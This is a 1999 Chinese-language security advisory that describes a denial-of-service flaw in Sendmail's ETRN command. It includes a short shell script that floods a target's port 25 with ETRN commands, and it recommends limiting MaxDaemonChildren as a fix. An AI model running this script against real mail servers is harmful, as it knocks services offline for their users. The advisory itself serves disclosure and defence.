首页 -> 安全研究

安全研究

安全漏洞
Sendmail ETRN拒绝服务攻击漏洞

发布日期:1999-12-30
更新日期:1999-12-30

受影响系统:
Sendmail
描述:

    利用ETRN命令可使Sendmail停止响应(即拒绝服务)。当Sendmail接收到ETRN命令时,它将调用fork()。此时子进程将代替父进程发送响应输出,而父进程将不再响应send()/write()错误。因此攻击者可发送大量ETRN命令,然后中断连接,这会使父进程连续地调用fork()和sleep(5),而无法恢复正常的响应。
    攻击者利用这个漏洞可以产生大量的“不可用”Sendmail子进程,导致Sendmail长时间挂起(即使攻击者的网络带宽和资源很少)。直接的后果就是——耗尽所有的服务器内存(Linux 2.0内核将崩溃,出错信息为'no memory for Sendmail'、'no memory for klogd'或其它)。




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


-- gurghfrbl.sh --
#!/bin/sh

TARGET=localhost
COUNT=150
SLEEP=1

echo "gurghfrbl.sh - (c) lcamtuf '99"
echo -n "Tickle"

while :; do
echo -n "."
(
   NIC=0
   while [ "$NIC" -lt "$COUNT" ]; do
    echo "ETRN x"
   done
) | telnet $TARGET 25 &>/dev/null &
sleep $SLEEP
killall -9 telnet &>/dev/null
done
-- EOF --




建议:

    在sendmail.cf配置文件中定义:

# maximum number of children we allow at one time
# 最大子进程数
O MaxDaemonChildren=15




浏览次数:6576
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障